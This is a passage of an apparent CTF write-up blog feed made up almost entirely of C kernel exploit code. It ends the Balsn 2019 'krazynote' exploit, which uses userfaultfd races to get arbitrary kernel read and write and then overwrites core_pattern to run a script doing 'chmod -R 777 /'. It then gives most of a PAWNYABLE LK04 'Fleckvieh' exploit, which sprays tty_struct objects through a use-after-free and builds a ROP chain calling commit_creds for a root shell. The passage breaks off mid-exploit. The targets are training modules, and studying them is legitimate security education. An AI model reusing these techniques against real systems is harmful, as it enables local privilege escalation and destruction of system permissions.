    copy.dst = (uint64_t)msg.arg.pagefault.address;
    copy.src = (uint64_t)page;
    copy.len = 0x1000;
    copy.mode = 0;
    copy.copy = 0;
    if (ioctl(uffd, UFFDIO_COPY, &amp;amp;copy) &amp;lt; 0) {
      fatal(&amp;#34;userfault_handler: ioctl(UFFDIO_COPY)&amp;#34;);
    }

    goto DONE_PAGE_FAULT;
  }

DONE_PAGE_FAULT:
  munmap(page, 0x1000);
  return NULL;
}

static uint64_t leak_xor_key() {
  char buf[0x100] = {
      0,
  };
  uint64_t tmp_xor_key = 0;

  for (int i = 0; i &amp;lt; 8; ++i) {
    void* uffd_page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                           MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (uffd_page == MAP_FAILED) {
      fatal(&amp;#34;mmap&amp;#34;);
    }
    register_uffd(uffd_page, 0x1000, userfault_handler_for_leak_xor_key);

    vuln_dev_add(0x10, uffd_page);

    memset(buf, &amp;#39;a&amp;#39;, sizeof(buf));
    vuln_dev_get(1, buf);
    int idx_61 = -1;
    for (int i = 0; i &amp;lt; 0x100; ++i) {
      if (buf[i] == 0x61 &amp;amp;&amp;amp; idx_61 == -1) {
        idx_61 = i;
      }
    }
    if (idx_61 == -1) {
      fatal(&amp;#34;leak_xor_key: idx_61 == -1&amp;#34;);
    }

    tmp_xor_key |= ((uint64_t)idx_61) &amp;lt;&amp;lt; (i * 8);

    vuln_dev_reset();
    munmap(uffd_page, 0x1000);
    ++leaked_xor_key_bytes;
  }

  return tmp_xor_key;
}

// funtions for leaking vuln_dev_base - page_offset_base

static void* userfault_handler_for_vuln_dev_base_minus_page_offset_base(
    void* args) {
  if (sched_setaffinity(0, sizeof(cpu_set_t), &amp;amp;target_cpu)) {
    fatal(&amp;#34;sched_setaffinity&amp;#34;);
  }

  int uffd = (int)(long)args;
  char* page = (char*)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                           MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (page == MAP_FAILED) {
    fatal(&amp;#34;userfault_handler_for_leak_xor_key: mmap&amp;#34;);
  }

  static struct uffd_msg msg;
  struct uffdio_copy copy;
  struct pollfd pollfd;

  pollfd.fd = uffd;
  pollfd.events = POLLIN;
  while (poll(&amp;amp;pollfd, 1, -1) &amp;gt; 0) {
    if (pollfd.revents &amp;amp; POLLERR || pollfd.revents &amp;amp; POLLHUP) {
      fatal(&amp;#34;userfault_handler_for_leak_xor_key: poll&amp;#34;);
    }

    if (read(uffd, &amp;amp;msg, sizeof(msg)) &amp;lt;= 0) {
      fatal(&amp;#34;userfault_handler_for_leak_xor_key: read(uffd)&amp;#34;);
    }
    if (msg.event != UFFD_EVENT_PAGEFAULT) {
      fatal(
          &amp;#34;userfault_handler_for_leak_xor_key: msg.event != &amp;#34;
          &amp;#34;UFFD_EVENT_PAGEFAULT&amp;#34;);
    }

    vuln_dev_reset();
    memset(page, 0, 0x100);
    vuln_dev_add(0, page);
    vuln_dev_add(0, page);
    vuln_dev_add(0, page);

    *(uint64_t*)(page) = vuln_dev_xor_key;
    *(uint64_t*)(page + 8) = 0x18 ^ vuln_dev_xor_key;

    copy.dst = (uint64_t)msg.arg.pagefault.address;
    copy.src = (uint64_t)page;
    copy.len = 0x1000;
    copy.mode = 0;
    copy.copy = 0;
    if (ioctl(uffd, UFFDIO_COPY, &amp;amp;copy) &amp;lt; 0) {
      fatal(&amp;#34;userfault_handler: ioctl(UFFDIO_COPY)&amp;#34;);
    }

    goto DONE_PAGE_FAULT;
  }

DONE_PAGE_FAULT:
  munmap(page, 0x1000);
  return NULL;
}

static uint64_t leak_vuln_dev_minus_page_offset_base() {
  char buf[0x100] = {
      0,
  };

  void* uffd_page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                         MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (uffd_page == MAP_FAILED) {
    fatal(&amp;#34;mmap&amp;#34;);
  }
  register_uffd(uffd_page, 0x1000,
                userfault_handler_for_vuln_dev_base_minus_page_offset_base);

  vuln_dev_reset();
  vuln_dev_add(0x10, uffd_page);
  vuln_dev_get(1, buf);
  vuln_dev_reset();

  munmap(uffd_page, 0x1000);

  uint64_t vuln_dev_base_minus_page_offset_base = *(uint64_t*)(buf + 0x10);
  return vuln_dev_base_minus_page_offset_base - 0x2568;
}

// functions for leaking vuln_dev_base

static void* userfault_handler_for_vuln_dev_base(void* args) {
  if (sched_setaffinity(0, sizeof(cpu_set_t), &amp;amp;target_cpu)) {
    fatal(&amp;#34;sched_setaffinity&amp;#34;);
  }

  int uffd = (int)(long)args;
  char* page = (char*)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                           MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (page == MAP_FAILED) {
    fatal(&amp;#34;userfault_handler_for_leak_xor_key: mmap&amp;#34;);
  }

  static struct uffd_msg msg;
  struct uffdio_copy copy;
  struct pollfd pollfd;

  pollfd.fd = uffd;
  pollfd.events = POLLIN;
  while (poll(&amp;amp;pollfd, 1, -1) &amp;gt; 0) {
    if (pollfd.revents &amp;amp; POLLERR || pollfd.revents &amp;amp; POLLHUP) {
      fatal(&amp;#34;userfault_handler_for_leak_xor_key: poll&amp;#34;);
    }

    if (read(uffd, &amp;amp;msg, sizeof(msg)) &amp;lt;= 0) {
      fatal(&amp;#34;userfault_handler_for_leak_xor_key: read(uffd)&amp;#34;);
    }
    if (msg.event != UFFD_EVENT_PAGEFAULT) {
      fatal(
          &amp;#34;userfault_handler_for_leak_xor_key: msg.event != &amp;#34;
          &amp;#34;UFFD_EVENT_PAGEFAULT&amp;#34;);
    }

    vuln_dev_reset();
    memset(page, 0, 0x100);
    vuln_dev_add(0, page);
    vuln_dev_add(0, page);

    *(uint64_t*)(page) = vuln_dev_xor_key;
    *(uint64_t*)(page + 0x08) = 0x18 ^ vuln_dev_xor_key;
    *(uint64_t*)(page + 0x10) =
        (vuln_dev_base_minus_page_offset_base + VULN_DEV_MISC_FILE_OPS_OFFSET +
         8 * VULN_DEV_MISC_FILE_OPS_FLUSH_IDX) ^
        vuln_dev_xor_key;

    copy.dst = (uint64_t)msg.arg.pagefault.address;
    copy.src = (uint64_t)page;
    copy.len = 0x1000;
    copy.mode = 0;
    copy.copy = 0;
    if (ioctl(uffd, UFFDIO_COPY, &amp;amp;copy) &amp;lt; 0) {
      fatal(&amp;#34;userfault_handler: ioctl(UFFDIO_COPY)&amp;#34;);
    }

    goto DONE_PAGE_FAULT;
  }

DONE_PAGE_FAULT:
  munmap(page, 0x1000);
  return NULL;
}

static uint64_t leak_vuln_dev_base() {
  char buf[0x100] = {
      0,
  };

  void* uffd_page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                         MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (uffd_page == MAP_FAILED) {
    fatal(&amp;#34;mmap&amp;#34;);
  }
  register_uffd(uffd_page, 0x1000, userfault_handler_for_vuln_dev_base);

  vuln_dev_reset();
  vuln_dev_add(0x18, uffd_page);
  vuln_dev_get(1, buf);
  vuln_dev_reset();

  munmap(uffd_page, 0x1000);

  uint64_t tmp_vuln_dev_base = *(uint64_t*)(buf);
  return tmp_vuln_dev_base;
}

// functions for aar

uint64_t aar_addr;
size_t aar_size;
static void* userfault_handler_for_aar(void* args) {
  if (sched_setaffinity(0, sizeof(cpu_set_t), &amp;amp;target_cpu)) {
    fatal(&amp;#34;sched_setaffinity&amp;#34;);
  }

  int uffd = (int)(long)args;
  char* page = (char*)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                           MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (page == MAP_FAILED) {
    fatal(&amp;#34;userfault_handler_for_leak_xor_key: mmap&amp;#34;);
  }

  static struct uffd_msg msg;
  struct uffdio_copy copy;
  struct pollfd pollfd;

  pollfd.fd = uffd;
  pollfd.events = POLLIN;
  while (poll(&amp;amp;pollfd, 1, -1) &amp;gt; 0) {
    if (pollfd.revents &amp;amp; POLLERR || pollfd.revents &amp;amp; POLLHUP) {
      fatal(&amp;#34;userfault_handler_for_leak_xor_key: poll&amp;#34;);
    }

    if (read(uffd, &amp;amp;msg, sizeof(msg)) &amp;lt;= 0) {
      fatal(&amp;#34;userfault_handler_for_leak_xor_key: read(uffd)&amp;#34;);
    }
    if (msg.event != UFFD_EVENT_PAGEFAULT) {
      fatal(
          &amp;#34;userfault_handler_for_leak_xor_key: msg.event != &amp;#34;
          &amp;#34;UFFD_EVENT_PAGEFAULT&amp;#34;);
    }

    vuln_dev_reset();
    memset(page, 0, 0x100);
    vuln_dev_add(0, page);
    vuln_dev_add(0, page);

    *(uint64_t*)(page) = vuln_dev_xor_key;
    *(uint64_t*)(page + 0x08) = aar_size ^ vuln_dev_xor_key;
    *(uint64_t*)(page + 0x10) =
        (aar_addr - page_offset_base) ^ vuln_dev_xor_key;

    copy.dst = (uint64_t)msg.arg.pagefault.address;
    copy.src = (uint64_t)page;
    copy.len = 0x1000;
    copy.mode = 0;
    copy.copy = 0;
    if (ioctl(uffd, UFFDIO_COPY, &amp;amp;copy) &amp;lt; 0) {
      fatal(&amp;#34;userfault_handler: ioctl(UFFDIO_COPY)&amp;#34;);
    }

    goto DONE_PAGE_FAULT;
  }

DONE_PAGE_FAULT:
  munmap(page, 0x1000);
  return NULL;
}

static void aar(void* out, uint64_t addr, uint64_t size) {
  if (size &amp;gt;= 0x100) {
    fatal(&amp;#34;aar: size &amp;gt;= 0x100&amp;#34;);
  }

  void* uffd_page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                         MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (uffd_page == MAP_FAILED) {
    fatal(&amp;#34;mmap&amp;#34;);
  }
  register_uffd(uffd_page, 0x1000, userfault_handler_for_aar);

  aar_addr = addr;
  aar_size = size;

  vuln_dev_reset();
  vuln_dev_add(0x18, uffd_page);
  vuln_dev_get(1, out);
  vuln_dev_reset();

  munmap(uffd_page, 0x1000);
}

// functions for aar

uint64_t aaw_addr;
size_t aaw_size;
static void* userfault_handler_for_aaw(void* args) {
  if (sched_setaffinity(0, sizeof(cpu_set_t), &amp;amp;target_cpu)) {
    fatal(&amp;#34;sched_setaffinity&amp;#34;);
  }

  int uffd = (int)(long)args;
  char* page = (char*)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                           MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (page == MAP_FAILED) {
    fatal(&amp;#34;userfault_handler_for_leak_xor_key: mmap&amp;#34;);
  }

  static struct uffd_msg msg;
  struct uffdio_copy copy;
  struct pollfd pollfd;

  pollfd.fd = uffd;
  pollfd.events = POLLIN;
  while (poll(&amp;amp;pollfd, 1, -1) &amp;gt; 0) {
    if (pollfd.revents &amp;amp; POLLERR || pollfd.revents &amp;amp; POLLHUP) {
      fatal(&amp;#34;userfault_handler_for_leak_xor_key: poll&amp;#34;);
    }

    if (read(uffd, &amp;amp;msg, sizeof(msg)) &amp;lt;= 0) {
      fatal(&amp;#34;userfault_handler_for_leak_xor_key: read(uffd)&amp;#34;);
    }
    if (msg.event != UFFD_EVENT_PAGEFAULT) {
      fatal(
          &amp;#34;userfault_handler_for_leak_xor_key: msg.event != &amp;#34;
          &amp;#34;UFFD_EVENT_PAGEFAULT&amp;#34;);
    }

    vuln_dev_reset();
    memset(page, 0, 0x100);
    vuln_dev_add(0, page);
    vuln_dev_add(0, page);

    *(uint64_t*)(page) = vuln_dev_xor_key;
    *(uint64_t*)(page + 0x08) = aaw_size ^ vuln_dev_xor_key;
    *(uint64_t*)(page + 0x10) =
        (aaw_addr - page_offset_base) ^ vuln_dev_xor_key;

    copy.dst = (uint64_t)msg.arg.pagefault.address;
    copy.src = (uint64_t)page;
    copy.len = 0x1000;
    copy.mode = 0;
    copy.copy = 0;
    if (ioctl(uffd, UFFDIO_COPY, &amp;amp;copy) &amp;lt; 0) {
      fatal(&amp;#34;userfault_handler: ioctl(UFFDIO_COPY)&amp;#34;);
    }

    goto DONE_PAGE_FAULT;
  }

DONE_PAGE_FAULT:
  munmap(page, 0x1000);
  return NULL;
}

static void aaw(uint64_t addr, void* data, uint64_t size) {
  if (size &amp;gt;= 0x100) {
    fatal(&amp;#34;aar: size &amp;gt;= 0x100&amp;#34;);
  }

  void* uffd_page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                         MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (uffd_page == MAP_FAILED) {
    fatal(&amp;#34;mmap&amp;#34;);
  }
  register_uffd(uffd_page, 0x1000, userfault_handler_for_aaw);

  aaw_addr = addr;
  aaw_size = size;

  vuln_dev_reset();
  vuln_dev_add(0x18, uffd_page);
  vuln_dev_update(1, data);
  vuln_dev_reset();

  munmap(uffd_page, 0x1000);
}

static uint64_t leak_kernel_base() {
  uint64_t val;
  aar(&amp;amp;val, vuln_dev_base + VULN_DEV_OFFSET_TO_PTR_TO_KERNEL_BASE, 8);
  aar(&amp;amp;val, val, 8);
  return val - OFFSET_OF_KERNEL_ADDR_OBTAINED_BY_VULN_DEV;
}

// end of helper functions

static int overwrite_core_pattern(const char* new_core_pattern, size_t len) {
  aaw(kernel_base + CORE_PATTERN_OFFSET, (void*)new_core_pattern, len);

  int fd = open(&amp;#34;/proc/sys/kernel/core_pattern&amp;#34;, O_RDONLY);
  char buf[0x100] = {
      0,
  };
  read(fd, buf, 0x100);
  close(fd);

  if (strncmp(buf, new_core_pattern, len) != 0) {
    return -1;
  }
  return 0;
}

int main() {
  CPU_ZERO(&amp;amp;target_cpu);
  CPU_SET(0, &amp;amp;target_cpu);
  if (sched_setaffinity(0, sizeof(cpu_set_t), &amp;amp;target_cpu)) {
    fatal(&amp;#34;sched_setaffinity&amp;#34;);
  }

  vuln_dev_fd = open(&amp;#34;/dev/&amp;#34; VULN_DEV_NAME, O_RDONLY);
  if (vuln_dev_fd &amp;lt; 0) {
    fatal(&amp;#34;open(/dev/&amp;#34; VULN_DEV_NAME &amp;#34;)&amp;#34;);
  }

  vuln_dev_xor_key = leak_xor_key();
  printf(&amp;#34;[+] xor_key: 0x%lx\n&amp;#34;, vuln_dev_xor_key);
  vuln_dev_base_minus_page_offset_base = leak_vuln_dev_minus_page_offset_base();
  printf(&amp;#34;[+] vuln_dev_base_minus_page_offset_base: 0x%lx\n&amp;#34;,
         vuln_dev_base_minus_page_offset_base);
  vuln_dev_base = leak_vuln_dev_base();
  printf(&amp;#34;[+] vuln_dev_base: 0x%lx\n&amp;#34;, vuln_dev_base);

  page_offset_base = vuln_dev_base - vuln_dev_base_minus_page_offset_base;
  printf(&amp;#34;[+] page_offset_base: 0x%lx\n&amp;#34;, page_offset_base);
  kernel_base = leak_kernel_base();
  printf(&amp;#34;[+] kernel_base: 0x%lx\n&amp;#34;, kernel_base);

  puts(&amp;#34;[*] prepare for core_pattern&amp;#34;);
  const char* new_core_pattern = &amp;#34;|//home/note/evil.sh&amp;#34;;
  const size_t new_core_pattern_len = strlen(new_core_pattern);
  printf(&amp;#34;[*] overwriting core_pattern to \&amp;#34;%s\&amp;#34;...\n&amp;#34;, new_core_pattern);
  if (overwrite_core_pattern(new_core_pattern, new_core_pattern_len) &amp;lt; 0) {
    fatal(&amp;#34;overwrite_core_pattern&amp;#34;);
  }
  puts(&amp;#34;[*] make //home/note/evil.sh...&amp;#34;);
  system(&amp;#34;echo -e &amp;#39;#!/bin/sh\nchmod -R 777 /&amp;#39; &amp;gt; //home/note/evil.sh&amp;#34;);
  system(&amp;#34;chmod +x //home/note/evil.sh&amp;#34;);
  system(&amp;#34;ulimit -c unlimited&amp;#34;);

  uint64_t* evil_ptr = (uint64_t*)0xdeadbeefcafebebe;
  *evil_ptr = 0xdeadbeefcafebebe;

  close(vuln_dev_fd);
  return 0;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h2 id=&#34;reference&#34;&gt;Reference&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://github.com/smallkirby/pwn-writeups/tree/master/balsn2019/krazynote/original&#34;&gt;https://github.com/smallkirby/pwn-writeups/tree/master/balsn2019/krazynote/original&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
    </item>
    
    <item>
      <title>PAWNYABLE LK04: Fleckvieh</title>
      <link>/posts/kernel/pawnyable/pawnyable_lk04/</link>
      <pubDate>Thu, 16 Jan 2025 07:31:14 +0000</pubDate>
      
      <guid>/posts/kernel/pawnyable/pawnyable_lk04/</guid>
      <description>&lt;hr&gt;
&lt;h2 id=&#34;lk04-fleckvieh&#34;&gt;LK04: Fleckvieh&lt;/h2&gt;
&lt;h3 id=&#34;using-userfaultfd&#34;&gt;Using userfaultfd&lt;/h3&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;792564831&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;792564831&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;exploit_using_userfaultfd_and_tty_struct.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#define _GNU_SOURCE
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;linux/userfaultfd.h&amp;gt;
#include &amp;lt;poll.h&amp;gt;
#include &amp;lt;pthread.h&amp;gt;
#include &amp;lt;sched.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;sys/ioctl.h&amp;gt;
#include &amp;lt;sys/mman.h&amp;gt;
#include &amp;lt;sys/syscall.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

#define VULN_DEVICE_NAME &amp;#34;fleckvieh&amp;#34;
#define VULN_DEV_CMD_ADD 0xf1ec0001
#define VULN_DEV_CMD_DEL 0xf1ec0002
#define VULN_DEV_CMD_GET 0xf1ec0003
#define VULN_DEV_CMD_SET 0xf1ec0004
#define VULN_DEV_MAX_SIZE 0x1000

#define KERNEL_BASE 0xffffffff81000000
#define TTY_STRUCT_MAGIC 0x100005401llu
#define TTY_STRUCT_OPS_OFFSET (0xffffffff81c3c3c0 - KERNEL_BASE)
#define PUSH_RDX_CMP_EAX_POP_RSP_RBP_OFFSET (0xffffffff8109b13a - KERNEL_BASE)
#define PUSH_RDX_CMP_EAX_POP_RSP_RBP \
  (kernel_base + PUSH_RDX_CMP_EAX_POP_RSP_RBP_OFFSET)
#define POP_RDI_OFFSET (0xffffffff8109b0ed - KERNEL_BASE)
#define POP_RDI (kernel_base + POP_RDI_OFFSET)
#define PREPARE_KERNEL_CRED_OFFSET (0xffffffff810729d0 - KERNEL_BASE)
#define PREPARE_KERNEL_CRED (kernel_base + PREPARE_KERNEL_CRED_OFFSET)
#define POP_RCX_OFFSET (0xffffffff81022fe3 - KERNEL_BASE)
#define POP_RCX (kernel_base + POP_RCX_OFFSET)
#define MOV_RDI_RAX_REP_OFFSET (0xffffffff81654bdb - KERNEL_BASE)
#define MOV_RDI_RAX_REP (kernel_base + MOV_RDI_RAX_REP_OFFSET)
#define COMMIT_CREDS_OFFSET (0xffffffff81072830 - KERNEL_BASE)
#define COMMIT_CREDS (kernel_base + COMMIT_CREDS_OFFSET)
#define BYPASS_KPTI_OFFSET \
  (0xffffffff81800e26 -    \
   KERNEL_BASE)  // Offset in the function
                 // swapgs_restore_regs_and_return_to_usermode
#define BYPASS_KPTI (kernel_base + BYPASS_KPTI_OFFSET)

void fatal(const char* msg) {
  perror(msg);
  exit(-1);
}

uint64_t user_cs, user_ss, user_sp, user_rflags;
static void save_state() {
  asm(&amp;#34;mov %[u_cs], cs;\n&amp;#34;
      &amp;#34;mov %[u_ss], ss;\n&amp;#34;
      &amp;#34;mov %[u_sp], rsp;\n&amp;#34;
      &amp;#34;pushf;\n&amp;#34;
      &amp;#34;pop %[u_rflags];\n&amp;#34;
      : [u_cs] &amp;#34;=r&amp;#34;(user_cs), [u_ss] &amp;#34;=r&amp;#34;(user_ss), [u_sp] &amp;#34;=r&amp;#34;(user_sp),
        [u_rflags] &amp;#34;=r&amp;#34;(user_rflags)::&amp;#34;memory&amp;#34;);
  printf(
      &amp;#34;[*] user_cs: 0x%016lx, user_ss: 0x%016lx, user_sp: 0x%016lx, &amp;#34;
      &amp;#34;user_rflags: &amp;#34;
      &amp;#34;0x%016lx\n&amp;#34;,
      user_cs, user_ss, user_sp, user_rflags);
}
static void get_shell() {
  puts(&amp;#34;[+] Get shell!&amp;#34;);
  char* argv[] = {&amp;#34;/bin/sh&amp;#34;, NULL};
  char* envp[] = {NULL};
  execve(&amp;#34;/bin/sh&amp;#34;, argv, envp);
}

int register_uffd(void* addr, size_t len, void* (*handler)(void*)) {
  struct uffdio_api uffdio_api;
  struct uffdio_register uffdio_register;
  pthread_t th;
  int uffd = syscall(__NR_userfaultfd, __O_CLOEXEC | O_NONBLOCK);

  uffdio_api.api = UFFD_API;
  uffdio_api.features = 0;
  if (ioctl(uffd, UFFDIO_API, &amp;amp;uffdio_api) &amp;lt; 0) {
    fatal(&amp;#34;ioctl(UFFDIO_API)&amp;#34;);
  }

  uffdio_register.range.start = (uint64_t)addr;
  uffdio_register.range.len = len;
  uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
  if (ioctl(uffd, UFFDIO_REGISTER, &amp;amp;uffdio_register) &amp;lt; 0) {
    fatal(&amp;#34;ioctl(UFFDIO_REGISTER)&amp;#34;);
  }

  if (pthread_create(&amp;amp;th, NULL, handler, (void*)(uint64_t)uffd) &amp;lt; 0) {
    fatal(&amp;#34;pthread_create&amp;#34;);
  }

  return uffd;
}

typedef struct {
  int id;
  size_t size;
  char* data;
} request_t;

int vuln_fd = -1;
long vuln_blob_add(size_t size, void* data) {
  request_t req = {.id = 0, .size = size, .data = data};
  return ioctl(vuln_fd, VULN_DEV_CMD_ADD, &amp;amp;req);
}
long vuln_blob_del(int id) {
  request_t req = {.id = id, .size = 0, .data = NULL};
  return ioctl(vuln_fd, VULN_DEV_CMD_DEL, &amp;amp;req);
}
long vuln_blob_get(int id, size_t size, void* data) {
  request_t req = {.id = id, .size = size, .data = data};
  return ioctl(vuln_fd, VULN_DEV_CMD_GET, &amp;amp;req);
}
long vuln_blob_set(int id, size_t size, void* data) {
  request_t req = {.id = id, .size = size, .data = data};
  return ioctl(vuln_fd, VULN_DEV_CMD_SET, &amp;amp;req);
}

cpu_set_t target_cpu;
char char_buf[VULN_DEV_MAX_SIZE];
uint64_t* uint64_buf = (uint64_t*)char_buf;
int vuln_id = -1;
enum vuln_operation_type {
  NONE = 0,
  UAF_READ = 1,
  UAF_WRITE = 2,
} vuln_operation_type;
const char* vuln_spray_dev_name;
int vuln_spray_flags;
int vuln_spray_fds[0x1000];
int vuln_spray_cnt;
static void* userfault_handler(void* args) {
  if (sched_setaffinity(0, sizeof(cpu_set_t), &amp;amp;target_cpu)) {
    fatal(&amp;#34;sched_setaffinity&amp;#34;);
  }

  int uffd = (int)(long)args;
  char* page = (char*)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                           MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (page == MAP_FAILED) {
    fatal(&amp;#34;userfault_handler: mmap&amp;#34;);
  }

  static struct uffd_msg msg;
  struct uffdio_copy copy;
  struct pollfd pollfd;

  puts(&amp;#34;[*] userfault_handler: waiting for page fault...&amp;#34;);
  pollfd.fd = uffd;
  pollfd.events = POLLIN;
  while (poll(&amp;amp;pollfd, 1, -1) &amp;gt; 0) {
    if (pollfd.revents &amp;amp; POLLERR || pollfd.revents &amp;amp; POLLHUP) {
      fatal(&amp;#34;userfault_handler: poll&amp;#34;);
    }

    if (read(uffd, &amp;amp;msg, sizeof(msg)) &amp;lt;= 0) {
      fatal(&amp;#34;userfault_handler: read(uffd)&amp;#34;);
    }
    if (msg.event != UFFD_EVENT_PAGEFAULT) {
      fatal(&amp;#34;userfault_handler: msg.event != UFFD_EVENT_PAGEFAULT&amp;#34;);
    }

    printf(&amp;#34;[*] userfault_handler: addr=0x%llx, flag=0x%llx\n&amp;#34;,
           msg.arg.pagefault.address, msg.arg.pagefault.flags);

    switch (vuln_operation_type) {
      case NONE:
        break;
      case UAF_READ:
        vuln_blob_del(vuln_id);

        for (int i = 0; i &amp;lt; vuln_spray_cnt; ++i) {
          vuln_spray_fds[i] = open(vuln_spray_dev_name, vuln_spray_flags);
          if (vuln_spray_fds[i] &amp;lt; 0) {
            fatal(&amp;#34;userfault_handler: open(vuln_spray_dev_name)&amp;#34;);
          }
        }

        copy.src = (uint64_t)page;
        break;
      case UAF_WRITE:
        vuln_blob_del(vuln_id);

        for (int i = 0; i &amp;lt; vuln_spray_cnt; ++i) {
          vuln_spray_fds[i] = open(vuln_spray_dev_name, vuln_spray_flags);
          if (vuln_spray_fds[i] &amp;lt; 0) {
            fatal(&amp;#34;userfault_handler: open(vuln_spray_dev_name)&amp;#34;);
          }
        }

        copy.src = (uint64_t)char_buf;
        break;
      default:
        fatal(&amp;#34;switch(vuln_operation_type)&amp;#34;);
        break;
    }
    copy.dst = (uint64_t)msg.arg.pagefault.address;
    copy.len = 0x1000;
    copy.mode = 0;
    copy.copy = 0;
    if (ioctl(uffd, UFFDIO_COPY, &amp;amp;copy) &amp;lt; 0) {
      fatal(&amp;#34;userfault_handler: ioctl(UFFDIO_COPY)&amp;#34;);
    }
  }
  return NULL;
}

void close_sprays() {
  for (int i = 0; i &amp;lt; vuln_spray_cnt; ++i) {
    close(vuln_spray_fds[i]);
    vuln_spray_fds[i] = 0;
  }
}
void uaf_read(void* out, size_t read_size, size_t chunk_size,
              const char* spray_dev_name, int spray_cnt, int spray_flags) {
  vuln_operation_type = UAF_READ;
  vuln_spray_dev_name = spray_dev_name;
  vuln_spray_cnt = spray_cnt;
  vuln_spray_flags = spray_flags;
  void* page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                    MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (page == MAP_FAILED) {
    fatal(&amp;#34;uaf_read: mmap&amp;#34;);
  }
  register_uffd(page, 0x1000, userfault_handler);

  vuln_id = vuln_blob_add(chunk_size, char_buf);
  vuln_blob_get(vuln_id, read_size, page);
  vuln_operation_type = NONE;

  memcpy(out, page, read_size);

  munmap(page, 0x1000);
}
void uaf_write(void* src, size_t write_size, size_t chunk_size,
               const char* spray_dev_name, int spray_cnt, int spray_flags) {
  vuln_operation_type = UAF_WRITE;
  vuln_spray_dev_name = spray_dev_name;
  vuln_spray_cnt = spray_cnt;
  vuln_spray_flags = spray_flags;
  void* page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                    MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (page == MAP_FAILED) {
    fatal(&amp;#34;uaf_read: mmap&amp;#34;);
  }
  register_uffd(page, 0x1000, userfault_handler);

  vuln_id = vuln_blob_add(chunk_size, char_buf);
  memcpy(char_buf, src, write_size);
  vuln_blob_set(vuln_id, write_size, page);
  vuln_operation_type = NONE;

  munmap(page, 0x1000);
}

uint64_t kernel_base, heap_addr;

int main() {
  CPU_ZERO(&amp;amp;target_cpu);
  CPU_SET(0, &amp;amp;target_cpu);
  if (sched_setaffinity(0, sizeof(cpu_set_t), &amp;amp;target_cpu)) {
    fatal(&amp;#34;sched_setaffinity&amp;#34;);
  }
  save_state();

  vuln_fd = open(&amp;#34;/dev/&amp;#34; VULN_DEVICE_NAME, O_RDWR);
  if (vuln_fd &amp;lt; 0) {
    fatal(&amp;#34;open vuln_device&amp;#34;);
  }

  uaf_read(char_buf, 0x20, 0x400, &amp;#34;/dev/ptmx&amp;#34;, 0x10, O_RDONLY | O_NOCTTY);
  kernel_base = uint64_buf[3] - TTY_STRUCT_OPS_OFFSET;
  if (kernel_base &amp;lt; 0xffffffff81000000 || kernel_base &amp;gt; 0xffffffffc0000000) {
    fatal(&amp;#34;kernel_base&amp;#34;);
  }
  printf(&amp;#34;[+] kernel_base: 0x%016lx\n&amp;#34;, kernel_base);
  close_sprays();

  uaf_read(char_buf, 0x50, 0x400, &amp;#34;/dev/ptmx&amp;#34;, 0x10, O_RDONLY | O_NOCTTY);
  heap_addr = uint64_buf[9] - 0x48;
  printf(&amp;#34;[+] heap_addr: 0x%016lx\n&amp;#34;, heap_addr);
  close_sprays();

  void* rop_buf = malloc(0x1000);
  uint64_t* rop = (uint64_t*)rop_buf;
  *rop++ = PUSH_RDX_CMP_EAX_POP_RSP_RBP;
  *rop++ = POP_RDI;
  *rop++ = 0;
  *rop++ = PREPARE_KERNEL_CRED;
  *rop++ = POP_RCX;
  *rop++ = 0;
  *rop++ = MOV_RDI_RAX_REP;
  *rop++ = COMMIT_CREDS;
  *rop++ = BYPASS_KPTI;
  *rop++ = 0xdeadbeefcafe0000;
  *rop++ = 0xdeadbeefcafe0001;
  *rop++ = (uint64_t)get_shell;
  *rop++ = (uint64_t)user_cs;
  *rop++ = (uint64_t)user_rflags;
  *rop++ = (uint64_t)user_sp;
  *rop++ = (uint64_t)user_ss;
  for (int i = 0; i &amp;lt; 0x100; ++i) {
    vuln_blob_add(0x400, rop_buf);
  }

  uint64_buf[0] = TTY_STRUCT_MAGIC;
  uint64_buf[3] = heap_addr - 0x0c * 8;
